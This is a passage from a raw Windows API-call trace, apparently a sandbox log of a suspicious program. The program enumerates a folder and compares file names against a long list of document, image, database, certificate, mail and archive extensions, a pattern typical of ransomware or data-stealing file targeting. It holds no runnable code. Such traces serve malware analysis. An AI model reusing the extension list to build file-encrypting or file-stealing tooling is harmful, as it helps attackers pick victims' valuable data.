returned 4 [0223.932] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0223.932] lstrlenW (lpString=".config") returned 7 [0223.932] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0223.932] lstrlenW (lpString=".cpp") returned 4 [0223.932] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0223.932] lstrlenW (lpString=".cr2") returned 4 [0223.933] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0223.933] lstrlenW (lpString=".crt") returned 4 [0223.933] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0223.933] lstrlenW (lpString=".crw") returned 4 [0223.933] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0223.933] lstrlenW (lpString=".cs") returned 3 [0223.933] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0223.933] lstrlenW (lpString=".css") returned 4 [0223.933] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0223.933] lstrlenW (lpString=".csv") returned 4 [0223.933] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0223.933] lstrlenW (lpString=".cub") returned 4 [0223.933] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0223.933] lstrlenW (lpString=".dae") returned 4 [0223.933] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0223.933] lstrlenW (lpString=".dat") returned 4 [0223.933] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0223.933] lstrlenW (lpString=".db") returned 3 [0223.933] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0223.933] lstrlenW (lpString=".dbf") returned 4 [0223.933] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.933] lstrlenW (lpString=".dbx") returned 4 [0223.933] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0223.933] lstrlenW (lpString=".dc3") returned 4 [0223.933] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0223.933] lstrlenW (lpString=".dcm") returned 4 [0223.933] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0223.933] lstrlenW (lpString=".dcr") returned 4 [0223.933] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0223.933] lstrlenW (lpString=".der") returned 4 [0223.934] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0223.934] lstrlenW (lpString=".dib") returned 4 [0223.934] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0223.934] lstrlenW (lpString=".dic") returned 4 [0223.934] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0223.934] lstrlenW (lpString=".dif") returned 4 [0223.934] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0223.934] lstrlenW (lpString=".divx") returned 5 [0223.934] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0223.934] lstrlenW (lpString=".djvu") returned 5 [0223.934] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0223.934] lstrlenW (lpString=".dng") returned 4 [0223.934] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0223.934] lstrlenW (lpString=".doc") returned 4 [0223.934] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.934] lstrlenW (lpString=".docm") returned 5 [0223.934] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0223.934] lstrlenW (lpString=".docx") returned 5 [0223.934] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.934] lstrlenW (lpString=".dot") returned 4 [0223.934] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0223.934] lstrlenW (lpString=".dotm") returned 5 [0223.934] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0223.934] lstrlenW (lpString=".dotx") returned 5 [0223.934] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0223.934] lstrlenW (lpString=".dpx") returned 4 [0223.934] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0223.934] lstrlenW (lpString=".dqy") returned 4 [0223.934] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0223.934] lstrlenW (lpString=".dsn") returned 4 [0223.935] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0223.935] lstrlenW (lpString=".dt") returned 3 [0223.935] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0223.935] lstrlenW (lpString=".dtd") returned 4 [0223.935] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0223.935] lstrlenW (lpString=".dwg") returned 4 [0223.935] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0223.935] lstrlenW (lpString=".dwt") returned 4 [0223.935] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0223.935] lstrlenW (lpString=".dx") returned 3 [0223.935] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0223.935] lstrlenW (lpString=".dxf") returned 4 [0223.935] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0223.935] lstrlenW (lpString=".edml") returned 5 [0223.935] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0223.935] lstrlenW (lpString=".efd") returned 4 [0223.935] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0223.935] lstrlenW (lpString=".elf") returned 4 [0223.935] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0223.935] lstrlenW (lpString=".emf") returned 4 [0223.935] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0223.935] lstrlenW (lpString=".emz") returned 4 [0223.935] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0223.935] lstrlenW (lpString=".epf") returned 4 [0223.935] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0223.935] lstrlenW (lpString=".eps") returned 4 [0223.935] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0223.935] lstrlenW (lpString=".epsf") returned 5 [0223.936] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0223.936] lstrlenW (lpString=".epsp") returned 5 [0223.936] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0223.936] lstrlenW (lpString=".erf") returned 4 [0223.936] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0223.936] lstrlenW (lpString=".exr") returned 4 [0223.936] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0223.936] lstrlenW (lpString=".f4v") returned 4 [0223.936] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0223.936] lstrlenW (lpString=".fido") returned 5 [0223.936] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0223.936] lstrlenW (lpString=".flm") returned 4 [0223.936] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0223.936] lstrlenW (lpString=".flv") returned 4 [0223.936] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0223.936] lstrlenW (lpString=".frm") returned 4 [0223.936] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0223.936] lstrlenW (lpString=".fxg") returned 4 [0223.936] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0223.936] lstrlenW (lpString=".geo") returned 4 [0223.936] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0223.936] lstrlenW (lpString=".gif") returned 4 [0223.936] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0223.936] lstrlenW (lpString=".grs") returned 4 [0223.936] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0223.936] lstrlenW (lpString=".gz") returned 3 [0223.936] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0223.936] lstrlenW (lpString=".h") returned 2 [0223.937] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0223.937] lstrlenW (lpString=".hdr") returned 4 [0223.937] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0223.937] lstrlenW (lpString=".hpp") returned 4 [0223.937] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0223.937] lstrlenW (lpString=".hta") returned 4 [0223.937] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0223.937] lstrlenW (lpString=".htc") returned 4 [0223.937] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0223.937] lstrlenW (lpString=".htm") returned 4 [0223.937] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0223.937] lstrlenW (lpString=".html") returned 5 [0223.937] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0223.937] lstrlenW (lpString=".icb") returned 4 [0223.937] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0223.937] lstrlenW (lpString=".ics") returned 4 [0223.937] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0223.937] lstrlenW (lpString=".iff") returned 4 [0223.937] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0223.937] lstrlenW (lpString=".inc") returned 4 [0223.937] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0223.937] lstrlenW (lpString=".indd") returned 5 [0223.937] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0223.937] lstrlenW (lpString=".ini") returned 4 [0223.937] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0223.937] lstrlenW (lpString=".iqy") returned 4 [0223.937] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0223.937] lstrlenW (lpString=".j2c") returned 4 [0223.937] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0223.938] lstrlenW (lpString=".j2k") returned 4 [0223.938] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0223.938] lstrlenW (lpString=".java") returned 5 [0223.938] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0223.938] lstrlenW (lpString=".jp2") returned 4 [0223.938] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0223.938] lstrlenW (lpString=".jpc") returned 4 [0223.938] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0223.938] lstrlenW (lpString=".jpe") returned 4 [0223.938] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0223.938] lstrlenW (lpString=".jpeg") returned 5 [0223.938] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0223.938] lstrlenW (lpString=".jpf") returned 4 [0223.938] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0223.938] lstrlenW (lpString=".jpg") returned 4 [0223.938] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.938] lstrlenW (lpString=".jpx") returned 4 [0223.938] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0223.938] lstrlenW (lpString=".js") returned 3 [0223.938] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0223.938] lstrlenW (lpString=".jsf") returned 4 [0223.938] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0223.938] lstrlenW (lpString=".json") returned 5 [0223.938] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0223.938] lstrlenW (lpString=".jsp") returned 4 [0223.938] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0223.938] lstrlenW (lpString=".kdc") returned 4 [0223.938] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0223.938] lstrlenW (lpString=".kmz") returned 4 [0223.939] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0223.939] lstrlenW (lpString=".kwm") returned 4 [0223.939] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0223.939] lstrlenW (lpString=".lasso") returned 6 [0223.939] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0223.939] lstrlenW (lpString=".lbi") returned 4 [0223.939] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0223.939] lstrlenW (lpString=".lgf") returned 4 [0223.939] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0223.939] lstrlenW (lpString=".lgp") returned 4 [0223.939] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0223.939] lstrlenW (lpString=".log") returned 4 [0223.939] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0223.939] lstrlenW (lpString=".m1v") returned 4 [0223.939] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0223.939] lstrlenW (lpString=".m4a") returned 4 [0223.939] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0223.939] lstrlenW (lpString=".m4v") returned 4 [0223.939] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0223.939] lstrlenW (lpString=".max") returned 4 [0223.939] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0223.939] lstrlenW (lpString=".md") returned 3 [0223.939] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0223.939] lstrlenW (lpString=".mda") returned 4 [0223.939] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0223.939] lstrlenW (lpString=".mdb") returned 4 [0223.939] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0223.939] lstrlenW (lpString=".mde") returned 4 [0223.939] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0223.940] lstrlenW (lpString=".mdf") returned 4 [0223.940] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0223.940] lstrlenW (lpString=".mdw") returned 4 [0223.940] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0223.940] lstrlenW (lpString=".mef") returned 4 [0223.940] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0223.940] lstrlenW (lpString=".mft") returned 4 [0223.940] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0223.940] lstrlenW (lpString=".mfw") returned 4 [0223.940] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0223.940] lstrlenW (lpString=".mht") returned 4 [0223.940] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0223.940] lstrlenW (lpString=".mhtml") returned 6 [0223.940] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0223.940] lstrlenW (lpString=".mka") returned 4 [0223.940] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0223.940] lstrlenW (lpString=".mkidx") returned 6 [0223.940] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0223.940] lstrlenW (lpString=".mkv") returned 4 [0223.940] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0223.940] lstrlenW (lpString=".mos") returned 4 [0223.940] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0223.940] lstrlenW (lpString=".mov") returned 4 [0223.940] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0223.940] lstrlenW (lpString=".mp3") returned 4 [0223.940] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0223.940] lstrlenW (lpString=".mp4") returned 4 [0223.940] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0223.940] lstrlenW (lpString=".mpeg") returned 5 [0223.940] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0223.941] lstrlenW (lpString=".mpg") returned 4 [0223.941] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0223.941] lstrlenW (lpString=".mpv") returned 4 [0223.941] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0223.941] lstrlenW (lpString=".mrw") returned 4 [0223.941] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0223.941] lstrlenW (lpString=".msg") returned 4 [0223.941] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0223.941] lstrlenW (lpString=".mxl") returned 4 [0223.941] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0223.941] lstrlenW (lpString=".myd") returned 4 [0223.941] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0223.941] lstrlenW (lpString=".myi") returned 4 [0223.941] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0223.941] lstrlenW (lpString=".nef") returned 4 [0223.941] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0223.941] lstrlenW (lpString=".nrw") returned 4 [0223.941] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0223.941] lstrlenW (lpString=".obj") returned 4 [0223.941] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0223.941] lstrlenW (lpString=".odb") returned 4 [0223.941] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0223.941] lstrlenW (lpString=".odc") returned 4 [0223.941] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0223.941] lstrlenW (lpString=".odm") returned 4 [0223.941] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0223.941] lstrlenW (lpString=".odp") returned 4 [0223.941] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0223.941] lstrlenW (lpString=".ods") returned 4 [0223.942] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0223.942] lstrlenW (lpString=".oft") returned 4 [0223.942] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0223.942] lstrlenW (lpString=".one") returned 4 [0223.942] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0223.942] lstrlenW (lpString=".onepkg") returned 7 [0223.942] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0223.942] lstrlenW (lpString=".onetoc2") returned 8 [0223.942] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0223.942] lstrlenW (lpString=".opt") returned 4 [0223.942] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0223.942] lstrlenW (lpString=".oqy") returned 4 [0223.942] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0223.942] lstrlenW (lpString=".orf") returned 4 [0223.942] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0223.942] lstrlenW (lpString=".p12") returned 4 [0223.942] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0223.942] lstrlenW (lpString=".p7b") returned 4 [0223.942] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0223.942] lstrlenW (lpString=".p7c") returned 4 [0223.942] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0223.942] lstrlenW (lpString=".pam") returned 4 [0223.942] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0223.942] lstrlenW (lpString=".pbm") returned 4 [0223.942] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0223.942] lstrlenW (lpString=".pct") returned 4 [0223.942] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0223.942] lstrlenW (lpString=".pcx") returned 4 [0223.943] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0223.943] lstrlenW (lpString=".pdd") returned 4 [0223.943] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0223.943] lstrlenW (lpString=".pdf") returned 4 [0223.943] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.943] lstrlenW (lpString=".pdp") returned 4 [0223.943] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0223.943] lstrlenW (lpString=".pef") returned 4 [0223.943] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0223.943] lstrlenW (lpString=".pem") returned 4 [0223.943] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0223.943] lstrlenW (lpString=".pff") returned 4 [0223.943] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0223.943] lstrlenW (lpString=".pfm") returned 4 [0223.943] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0223.943] lstrlenW (lpString=".pfx") returned 4 [0223.943] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0223.943] lstrlenW (lpString=".pgm") returned 4 [0223.943] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0223.943] lstrlenW (lpString=".php") returned 4 [0223.943] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0223.943] lstrlenW (lpString=".php3") returned 5 [0223.943] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0223.943] lstrlenW (lpString=".php4") returned 5 [0223.943] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0223.943] lstrlenW (lpString=".php5") returned 5 [0223.943] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0223.943] lstrlenW (lpString=".phtml") returned 6 [0223.944] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0223.944] lstrlenW (lpString=".pict") returned 5 [0223.944] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0223.944] lstrlenW (lpString=".pl") returned 3 [0223.944] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0223.944] lstrlenW (lpString=".pls") returned 4 [0223.944] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0223.944] lstrlenW (lpString=".pm") returned 3 [0223.944] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0223.944] lstrlenW (lpString=".png") returned 4 [0223.944] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0223.944] lstrlenW (lpString=".pnm") returned 4 [0223.944] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0223.944] lstrlenW (lpString=".pot") returned 4 [0223.944] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0223.944] lstrlenW (lpString=".potm") returned 5 [0223.944] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0223.944] lstrlenW (lpString=".potx") returned 5 [0223.944] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0223.944] lstrlenW (lpString=".ppa") returned 4 [0223.944] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0223.944] lstrlenW (lpString=".ppam") returned 5 [0223.944] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0223.944] lstrlenW (lpString=".ppm") returned 4 [0223.944] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0223.944] lstrlenW (lpString=".pps") returned 4 [0223.944] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0223.944] lstrlenW (lpString=".ppsm") returned 5 [0223.944] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0223.945] lstrlenW (lpString=".ppt") returned 4 [0223.945] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.945] lstrlenW (lpString=".pptm") returned 5 [0223.945] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0223.945] lstrlenW (lpString=".pptx") returned 5 [0223.945] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0223.945] lstrlenW (lpString=".prn") returned 4 [0223.945] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0223.945] lstrlenW (lpString=".ps") returned 3 [0223.945] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0223.945] lstrlenW (lpString=".psb") returned 4 [0223.945] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0223.945] lstrlenW (lpString=".psd") returned 4 [0223.945] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0223.945] lstrlenW (lpString=".pst") returned 4 [0223.945] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0223.945] lstrlenW (lpString=".ptx") returned 4 [0223.945] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0223.945] lstrlenW (lpString=".pub") returned 4 [0223.945] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0223.945] lstrlenW (lpString=".pwm") returned 4 [0223.945] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0223.945] lstrlenW (lpString=".pxr") returned 4 [0223.945] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0223.945] lstrlenW (lpString=".py") returned 3 [0223.945] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0223.945] lstrlenW (lpString=".qt") returned 3 [0223.945] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0223.946] lstrlenW (lpString=".r3d") returned 4 [0223.946] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0223.946] lstrlenW (lpString=".raf") returned 4 [0223.946] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0223.946] lstrlenW (lpString=".rar") returned 4 [0223.946] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.946] lstrlenW (lpString=".raw") returned 4 [0223.946] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0223.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.947] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0223.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.947] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0223.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.948] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0223.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.948] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0223.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.948] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0223.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.949] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0223.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 